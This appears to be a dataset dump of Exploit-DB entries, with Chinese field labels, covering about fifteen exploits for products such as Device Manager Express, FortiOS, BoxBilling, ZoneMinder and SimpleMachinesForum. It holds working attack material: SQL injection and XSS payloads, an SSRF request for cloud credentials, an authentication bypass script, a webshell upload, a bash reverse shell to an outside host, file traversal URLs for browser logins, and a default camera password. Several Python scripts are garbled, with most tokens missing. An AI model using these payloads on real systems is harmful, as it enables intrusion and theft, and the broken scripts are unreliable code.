QLWD/code_shield huggingface dataset:
标题: Device Manager Express 7.8.20002.47752 - Remote Code Execution (RCE) EDB-ID: 51145 CVE: 2022-24632 2022-24630 2022-24629 2022-24627 类型: WEBAPPS 平台: PHP 发布日期: 2023-03-30 漏洞利用脚本: # Exploit Title: Device Manager Express 7.8.20002.47752 - Remote Code Execution (RCE)
# Date: 02-12-22
# Exploit Author: 0xEF
# Vendor Homepage: https://www.audiocodes.com
# Software Link: https://ln5.sync.com/dl/82774fdd0/jwqwt632-s65tncqu-iwrtm7g3-iidti637 
# Version: <= 7.8.20002.47752
# Tested on: Windows 10 & Windows Server 2019
# Default credentials: admin/admin
# SQL injection + Path traversal + Remote Command Execution
# CVE: CVE-2022-24627, CVE-2022-24629, CVE-2022-24630, CVE-2022-24632



 requests
 sys
 time
 re 
 colorama
 colorama  Fore Style
 uuid

headers   

 
   
             
         

 starget
  
   
         
         
         
         
         
         
   option  
   option  
     t  
     upload_filestargett
   option   
     download_filestarget    
   option  
     executestarget     
   option  
     t  
     upload_filestargett
  
     sysexit


 target
   
      f
      url  f
      s  requestsSession 
      
      payload_list  
       payload  payload_list
         body  payload            
         r  sposturl data  body 
        rtext
         f
         timesleep
         s
      
         f
         main
    
      sysexit
        
 stargett
   
     url  f
     param  uuiduuid4
       
     
     ext  rsplit          
      t
        
          rsplit        
        ext  
     patch  
       
       patch_extstargetpatchext
          
          f
          t      
            dest  
            f
            files     
            body   f    
            r  sposturl filesfiles databody
            f           
          t    
            shell  f
            files  f  shell 
            body       
            r  sposturl filesfiles databody
            f
            f
          patch  
          timesleep
          patch_extstargetpatchext
       
          f           
   
       f
       patch  
       patch_extstargetpatchext
        
 starget
   
   
       
            
         url  f
         r  sgeturl
          rcontent  
           f
             split
            writercontent          
         
           f  
     
       f
    
      sysexit
         
 starget 
   
      
      
      command  
      command  
        optionliststarget
        
      f
      body   command
      url  f
      r  sposturl data  body headersheaders 
      
      timesleep
      joinrefindallrrcontentreplace replace replace replace replace replace lstrip
      
    
      sysexit
        
 stargetoptext
   
     opt  
       
       body  f
     opt  
       
       body  
       f
     url  f
     r  sposturl data  body headersheaders
     timesleep
     f  rtext
           
    
      sysexit         
     
 
    sysargv  
        sysargv  
        sysargv  
      sysexit
      
   target  sysargv
   menu
   s  bypass_authtarget
   s
     optionliststarget
 
 __name__  
    main URL: https://www.exploit-db.com/exploits/51145
标题: Virtual Reception v1.0 - Web Server Directory Traversal EDB-ID: 51142 CVE: 2023-25289 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2023-03-30 漏洞利用脚本: # Exploit Title: Virtual Reception v1.0 - Web Server Directory Traversal
# Exploit Author: Spinae
# Vendor Homepage: https://www.virtualreception.nl/
# Version: win7sp1_rtm.101119-1850 6.1.7601.1.0.65792 running on an Intel NUC5i5RY
# Tested on: all
# CVE-ID: CVE-2023-25289

We discovered the web server of the Virtual Reception appliance is prone to
an unauthenticated directory traversal vulnerability. This allows an
attacker to traverse outside the server root directory by specifying files
at the end of a URL request.
This is a NUC5i5RY

http://[ip address]/c:/WINDOWS/System32/drivers/etc/hosts
http://[ip address]/C:/windows/WindowsUpdate.log
...

A user called 'receptie' exists on the Windows system:

http://[ip address]/c:/users/receptie/ntuser.dat
http://[ip address]/c:/users/receptie/ntuser.ini
http://[ip address]/c:/users/receptie/appdata/local/temp/wmsetup.log
...
http://[ip address]/c:/users/receptie/AppData/Local/Google/Chrome/User
Data/Default/Login Data
http://[ip
address]/c:/users/receptie/AppData/Local/Google/Chrome/User%20Data/Local%20State
http://[ip address]/c:/users/receptie/AppData/Local/Google/Chrome/User
Data/Default/Cookies
...

The appliance also keeps a log of the visitors that register at the
entrance:

http://[ip address]/visitors.csv

hash icon for shodan searches:

https://www.shodan.io/search?query=http.favicon.hash%3A656388049

No reply from the vendor (phone, email, website form submissions), first
reported in 2021.

-- 
DISCLAIMER: Unless indicated otherwise, the information contained in this 
message is privileged and confidential, and is intended only for the use of 
the addressee(s) named above and others who have been specifically 
authorized to receive it. If you are not the intended recipient, you are 
hereby notified that any dissemination, distribution or copying of this 
message and/or attachments is strictly prohibited. The company accepts no 
liability for any damage caused by any virus transmitted by this message. 
Furthermore, the company does not warrant a proper and complete 
transmission of this information, nor does it accept liability for any 
delays. If you have received this message in error, please contact the 
sender and delete the message. Thank you. URL: https://www.exploit-db.com/exploits/51142
标题: Dreamer CMS v4.0.0 - SQL Injection EDB-ID: 51134 CVE: 2022-43128 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2023-03-30 漏洞利用脚本: # Exploit Title: Dreamer CMS v4.0.0 - SQL Injection
# Date: 2022/10/02 
# Exploit Author: lvren
# Vendor Homepage: http://cms.iteachyou.cc/
# Software Link: https://gitee.com/isoftforce/dreamer_cms/repository/archive/v4.0.0.zip 
# Version: v4.0.0 
# CVE: CVE-2022-43128

Proof Of Concept:

POST /admin/search/doSearch HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
Origin: http://localhost:8888
Connection: close
Referer: http://localhost:8888/admin/search/doSearch
Cookie: dreamer-cms-s=6387e44f-e700-462d-bba5-d4e0ffff5739
Upgrade-Insecure-Requests: 1

entity[typeid']=1) AND (SELECT 2904 FROM (SELECT(SLEEP(5)))TdVL) AND (5386=5386



lvren
lvren@lvre.ntesmail.com

签名由 网易灵犀办公 定制 URL: https://www.exploit-db.com/exploits/51134
标题: OPSWAT Metadefender Core - Privilege Escalation EDB-ID: 51113 CVE: 2022-32272 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2023-03-28 漏洞利用脚本: # Exploit Title: OPSWAT Metadefender Core - Privilege Escalation
# Date: 24 October 2022
# Exploit Author: Ulascan Yildirim
# Vendor Homepage: https://www.opswat.com/
# Version: Metadefender Core 4.21.1
# Tested on: Windows / Linux
# CVE : CVE-2022-32272
# =============================================================================
# This is a PoC for the Metadefender Core Privilege escalation vulnerability.
# To use this PoC, you need a Username & Password.
# The OMS_CSRF_TOKEN allows users to execute commands with higher privileges.
# =============================================================================

#!/usr/bin/env python3
import requests
 json
 getpass  getpass

url  
username  
password  getpass

url_login  url
url_user  url
logindata  usernamepassword


response_login  requestsposturl_login json  logindatajson
json_str  jsondumpsresponse_login
resp  jsonloadsjson_str
token  resp
session  resp


headers  
     token

cookie  
     session



payload  

response  requestsputurl_userheadersheaderscookiescookiedatapayload
responsestatus_code

 responsestatus_code URL: https://www.exploit-db.com/exploits/51113
标题: ReQlogic v11.3 - Reflected Cross-Site Scripting (XSS) EDB-ID: 51118 CVE: 2022-41441 类型: WEBAPPS 平台: ASPX 发布日期: 2023-03-28 漏洞利用脚本: # Exploit Title: ReQlogic v11.3 - Reflected Cross-Site Scripting (XSS)
# Date: 9 October 2022
# Exploit Author: Okan Kurtulus
# Vendor Homepage: https://reqlogic.com
# Version: 11.3
# Tested on: Linux
# CVE : 2022-41441

# Proof of Concept:
1- Install ReQlogic v11.3
2- Go to https://localhost:81/ProcessWait.aspx?POBatch=test&WaitDuration=3
3- XSS is triggered when you send the XSS payload to the POBatch and WaitDuration parameters.

#XSS Payload:
</script><script>alert(1)</script>

#Affected Prameters
POBatch
WaitDuration

#Final URLs
http://localost:81/ProcessWait.aspx?POBatch=</script><script>alert(1)</script>&WaitDuration=3
http://localost:81/ProcessWait.aspx?POBatch=test&WaitDuration=</script><script>alert(1)</script> URL: https://www.exploit-db.com/exploits/51118
标题: X-Skipper-Proxy v0.13.237 - Server Side Request Forgery (SSRF) EDB-ID: 51111 CVE: 2022-38580 类型: REMOTE 平台: MULTIPLE 发布日期: 2023-03-28 漏洞利用脚本: #Exploit Title: X-Skipper-Proxy v0.13.237 - Server Side Request Forgery (SSRF)
#Date: 24/10/2022
#Exploit Author: Hosein Vita & Milad Fadavvi
#Vendor Homepage: https://github.com/zalando/skipper
#Software Link: https://github.com/zalando/skipper
#Version: < v0.13.237
#Tested on: Linux
#CVE: CVE-2022-38580


Summary:

Skipper prior to version v0.13.236 is vulnerable to server-side request forgery (SSRF). An attacker can exploit a vulnerable version of proxy to access the internal metadata server or other unauthenticated URLs by adding an specific header (X-Skipper-Proxy) to the http request.


Proof Of Concept:

1- Add header "X-Skipper-Proxy"  to your request
2- Add the aws metadata to the path

GET /latest/meta-data/iam/security-credentials HTTP/1.1
Host: yourskipperdomain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
X-Skipper-Proxy: http://169.254.169.254
Connection: close




Reference:
https://github.com/zalando/skipper/security/advisories/GHSA-f2rj-m42r-6jm2 URL: https://www.exploit-db.com/exploits/51111
标题: BoxBilling<=4.22.1.5 - Remote Code Execution (RCE) EDB-ID: 51108 CVE: 2022-3552 类型: WEBAPPS 平台: PHP 发布日期: 2023-03-28 漏洞利用脚本: # Exploit Title: BoxBilling<=4.22.1.5 - Remote Code Execution (RCE)
# Date: 2022-09-18
# Exploit Author: zetc0de
# Vendor Homepage: https://www.boxbilling.org/
# Software Link:
https://github.com/boxbilling/boxbilling/releases/download/4.22.1.5/BoxBilling.zip
# Version: <=4.22.1.5 (Latest)
# Tested on: Windows 10
# CVE : CVE-2022-3552
# BoxBilling was vulnerable to Unrestricted File Upload.
# In order to exploit the vulnerability, an attacker must have a valid
authenticated session as admin on the CMS.
# With at least 1 order of product an attacker can upload malicious file to
hidden API endpoint that contain a webshell and get RCE
###################################################################################


## POC
POST /index.php?_url=/api/admin/Filemanager/save_file HTTP/1.1
Host: local.com:8089
Content-Length: 52
Accept: application/json, text/javascript, */*; q=0.01
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=3nrf9i4mv28o5anva77ltq042d
Connection: close

order_id=1&path=ax.php&data=<%3fphp+phpinfo()%3b%3f>

POC Video :
https://drive.google.com/file/d/1m2glCeJ9QXc8epuY2QfvbWwjLTJ8_Hjx/view?usp=sharing URL: https://www.exploit-db.com/exploits/51108
标题: Tapo C310 RTSP server v1.3.0 - Unauthorised Video Stream Access EDB-ID: 51107 CVE: 2022-37255 类型: REMOTE 平台: HARDWARE 发布日期: 2023-03-28 漏洞利用脚本: # Exploit Title: Tapo C310 RTSP server v1.3.0- Unauthorised Video Stream Access
# Date: 19th July 2022
# Exploit Author: dsclee1
# Vendor Homepage: tp-link.com
# Software Link: http://download.tplinkcloud.com/firmware/Tapo_C310v1_en_1.3.0_Build_220328_Rel.64283n_u_1649923652150.bin
# Version: 1.3.0
# Tested on: Linux – running on camera
# CVE : CVE-2022-37255

These Tapo cameras work via an app. There is a facility on the app to set up a “Camera Account”, which adds user details for the RTSP server. Unfortunately if you don’t set up the user details on versions 1.3.0 and below there are default login details. I sourced these from the “cet” binary on the camera.

You can gain unauthorised access to the RTSP stream using the following user details:

User: ---

Password: TPL075526460603 URL: https://www.exploit-db.com/exploits/51107
标题: Pega Platform 8.1.0 - Remote Code Execution (RCE) EDB-ID: 51099 CVE: 2022-24082 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2023-03-28 漏洞利用脚本: # Exploit Title: Pega Platform 8.1.0 - Remote Code Execution (RCE)
# Google Dork: N/A
# Date: 20 Oct 2022
# Exploit Author: Marcin Wolak (using MOGWAI LABS JMX Exploitation Toolkit)
# Vendor Homepage: www.pega.com
# Software Link: Not Available
# Version: 8.1.0 on-premise and higher, up to 8.3.7
# Tested on: Red Hat Enterprise 7
# CVE : CVE-2022-24082

;Dumping RMI registry:
nmap -sT -sV --script rmi-dumpregistry -p 9999 <IP Address>

;Extracting dynamic TCP port number from the dump (in form of @127.0.0.1
:<PORT>)
;Verifying that the <PORT> is indeed open (it gives 127.0.0.1 in the RMI
dump, but actually listens on the network as well):
nmap -sT -sV -p <PORT> <IP Address>

;Exploitation requires:
;- JVM
;- MOGWAI LABS JMX Exploitation Toolkit (https://github.com/mogwailabs/mjet)
;- jython
;Installing mbean for remote code execution
java -jar jython-standalone-2.7.2.jar mjet.py --localhost_bypass <PORT> <IP
Address> 9999 install random_password http://<Local IP to Serve Payload
over HTTP>:6666 6666

;Execution of commands id & ifconfig
java -jar jython-standalone-2.7.2.jar mjet.py --localhost_bypass <PORT> <IP
Address> 9999 command random_password "id;ifconfig"

;More details:
https://medium.com/@Marcin-Wolak/cve-2022-24082-rce-in-the-pega-platform-discovery-remediation-technical-details-long-live-69efb5437316


Kind Regards,
Marcin Wolak URL: https://www.exploit-db.com/exploits/51099
标题: FortiOS, FortiProxy, FortiSwitchManager v7.2.1 - Authentication Bypass EDB-ID: 51092 CVE: 2022-40684 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2023-03-27 漏洞利用脚本: # Exploit Title: Fortinet Authentication Bypass v7.2.1 - (FortiOS, FortiProxy, FortiSwitchManager)
# Date: 13/10/2022
# Exploit Author: Felipe Alcantara (Filiplain)
# Vendor Homepage: https://www.fortinet.com/
# Version:
#FortiOS from 7.2.0 to 7.2.1
#FortiOS from 7.0.0 to 7.0.6
#FortiProxy 7.2.0
#FortiProxy from 7.0.0 to 7.0.6
#FortiSwitchManager 7.2.0
#FortiSwitchManager 7.0.0
# Tested on: Kali Linux
# CVE : CVE-2022-40684

# https://github.com/Filiplain/Fortinet-PoC-Auth-Bypass

# Usage: ./poc.sh <ip> <port>
# Example: ./poc.sh 10.10.10.120 8443

#!/bin/bash

red="\e[0;31m\033[1m"
blue="\e[0;34m\033[1m"
yellow="\e[0;33m\033[1m"
end="\033[0m\e[0m"

target=$1
port=$2

vuln () {

echo -e "${yellow}[+] Dumping System Information: ${end}"

timeout 10 curl -s -k -X $'GET' \
    -H $'Host: 127.0.0.1:9980' -H $'User-Agent: Node.js' -H $'Accept-Encoding\": gzip, deflate' -H $'Forwarded: by=\"[127.0.0.1]:80\";for=\"[127.0.0.1]:49490\";proto=http;host=' -H $'X-Forwarded-Vdom: root' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' "https://$target:$port/api/v2/cmdb/system/admin" > $target.out
if [ "$?" == "0" ];then
 grep "results" ./$target.out >/dev/null
 if [ "$?" == "0" ];then
    echo -e "${blue}Vulnerable: Saved to file $PWD/$target.out ${end}"
 else 
    rm -f ./$target.out
    echo -e "${red}Not Vulnerable ${end}"
 fi

else

  echo -e "${red}Not Vulnerable ${end}"
  rm -f ./$target.out

fi


}

vuln URL: https://www.exploit-db.com/exploits/51092
标题: Grafana <=6.2.4 - HTML Injection EDB-ID: 51073 CVE: 2019-13068 类型: WEBAPPS 平台: TYPESCRIPT 发布日期: 2023-03-27 漏洞利用脚本: # Exploit Title: Grafana <=6.2.4 - HTML Injection
# Date: 30-06-2019
# Exploit Author: SimranJeet Singh
# Vendor Homepage: https://grafana.com/
# Software Link: https://grafana.com/grafana/download/6.2.4
# Version: 6.2.4
# CVE : CVE-2019-13068

The uri "public/app/features/panel/panel_ctrl.ts" in Grafana before 6.2.5 allows HTML Injection in panel drilldown links (via the Title or url field)

Payload used - <img src="[image_URL]"><h1>Hello</h1> URL: https://www.exploit-db.com/exploits/51073
标题: Zoneminder < v1.37.24 - Log Injection & Stored XSS & CSRF Bypass EDB-ID: 51071 CVE: 2022-39291 2022-39290 2022-39285 类型: WEBAPPS 平台: PHP 发布日期: 2023-03-27 漏洞利用脚本: # Exploit Title: Zoneminder v1.36.26 - Log Injection -> CSRF Bypass -> Stored Cross-Site Scripting (XSS)
# Date: 10/01/2022
# Exploit Author: Trenches of IT
# Vendor Homepage: https://github.com/ZoneMinder/zoneminder
# Version: v1.36.26
# Tested on: Linux/Windows
# CVE: CVE-2022-39285, CVE-2022-39290, CVE-2022-39291 
# Writeup: https://www.trenchesofit.com/2022/09/30/zoneminder-web-app-testing/
#
# Proof of Concept:
# 1 - The PoC injects a XSS payload with the CSRF bypass into logs. (This action will repeat every second until manually stopped)



 requests
 re
 time
 argparse
 sys

 argssysargv
    parser  argparseArgumentParserdescription epilog
    parseradd_argument   required
    parseradd_argument   required
    parseradd_argument   required
    parseradd_argument   required
    parseradd_argument   required
    options  parserparse_argsargs
     options

options  getOptionssysargv

payload    optionsip    optionsdeleteUser  


loginUrl    optionsip    optionsport  optionsusernameoptionspassword
loginCookies         ,          
loginHeaders             optionsip    optionsip  
response  requestspostloginUrl headersloginHeaders cookiesloginCookies
zmHeaders  responseheaders

    zoneminderSession  refindallr zmHeaders
    finalSession  zoneminderSessionreplace strip

    
    sysexit
finalSession


csrfUrl  optionsipoptionsport
csrfCookies         ,            finalSession  
csrfHeaders             optionsip  
response  requestsgetcsrfUrl headerscsrfHeaders cookiescsrfCookies
zmBody  responsetext
extractedCsrfKey  refindallr zmBody
finalCsrfKey  extractedCsrfKeyreplace 
finalCsrfKey
optionsip

 
    
    
    xssUrl  optionsip
    xssCookies         ,          finalSession
    xssHeaders               optionsip    optionsip
    xssData   finalCsrfKey                   payload   
    response  requestspostxssUrl headersxssHeaders cookiesxssCookies dataxssData
      responsetext

    timesleep URL: https://www.exploit-db.com/exploits/51071
标题: MODX Revolution v2.8.3-pl - Authenticated Remote Code Execution EDB-ID: 51059 CVE: 2022-26149 类型: WEBAPPS 平台: PHP 发布日期: 2023-03-25 漏洞利用脚本: # Exploit Title: MODX Revolution v2.8.3-pl - Authenticated Remote Code Execution
# Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane) 
# Date: 26th Feb'2022
# CVE ID: CVE-2022-26149
# Confirmed on release 2.8.3-pl
# Reference: https://github.com/sartlabs/0days/blob/main/Modx/Exploit.txt
# Vendor: https://modx.com/download

###############################################
#Step1- Login with Admin Credentials
#Step2- Uploading .php files is disabled by default hence we need to abuse the functionality:
        Add the php file extension under the "Uploadable File Types" option available in "System Settings" 
#Step3- Now Goto Media=>Media Browser and upload the Shell.php
#Step4- Now visit http://IP_Address/Shell.php and get the reverse shell:

listening on [any] 4477 ...
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.130] 58056
bash: cannot set terminal process group (1445): Inappropriate ioctl for device
bash: no job control in this shell
daemon@debian:/opt/bitnami/modx$ URL: https://www.exploit-db.com/exploits/51059
标题: Password Manager for IIS v2.0 - XSS EDB-ID: 51055 CVE: 2022-36664 类型: WEBAPPS 平台: ASP 发布日期: 2023-03-25 漏洞利用脚本: # Exploit Title: Password Manager for IIS v2.0 - XSS
# Exploit Author: VP4TR10T
# Vendor Homepage: http://passwordmanager.adiscon.com/en/manual/
# Software Link: http://passwordmanager.adiscon.com/
<http://passwordmanager.adiscon.com/>
# Version: *Version 2.0
# Tested on: WINDOWS
# CVE : CVE-2022-36664


Affected URI (when changing user password):
POST /isapi/PasswordManager.dll HTTP/1.1

Affected Parameter in http
payload:*ReturnURL*=<script>alert(document.cookie)</script>

*Cordially,* URL: https://www.exploit-db.com/exploits/51055
标题: SimpleMachinesForum v2.1.1 - Authenticated Remote Code Execution EDB-ID: 51057 CVE: 2022-26982 类型: WEBAPPS 平台: PHP 发布日期: 2023-03-25 漏洞利用脚本: # Exploit Title: SimpleMachinesForum v2.1.1 - Authenticated Remote Code Execution 
# Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane)
# Date: 7th March 2022
# CVE ID: CVE-2022-26982
# Confirmed on release 2.1.1
# Vendor: https://download.simplemachines.org/
# Note- Once we insert the vulnerable php code, we can even execute it without any valid login as it is not required! We can use it as a backdoor!

###############################################
#Step1- Login with Admin Credentials
#Step2- Goto Admin=>Main=>Administration Center=>Configuration=>Themes and Layout=>Modify Themes=>Browse the templates and files in this theme.=>Admin.template.php
#Step3- Now add the vulnerable php reverse tcp web shell exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.56.1/4477 0>&1'"); ?>
#Step4- Now Goto Add Media=>Add Resource=> Upload php web shell and click on SAVE CHANGES at the bottom of the page
#Step5- Now click on "Themes and Layout" and you will get the reverse shell:
E.g: Visit http://IP_ADDR/index.php?action=admin;area=theme;b4c2510f=bc6cde24d794569356b81afc98ede2c2 and get the reverse shell:

listening on [any] 4477 ...
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.130] 41276
bash: cannot set terminal process group (1334): Inappropriate ioctl for device
bash: no job control in this shell
daemon@debian:/opt/bitnami/simplemachinesforum$ whoami
whoami
daemon
daemon@debian:/opt/bitnami/simplemachinesforum$ id
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
daemon@debian:/opt/bitnami/simplemachinesforum$ URL: https://www.exploit-db.com/exploits/51057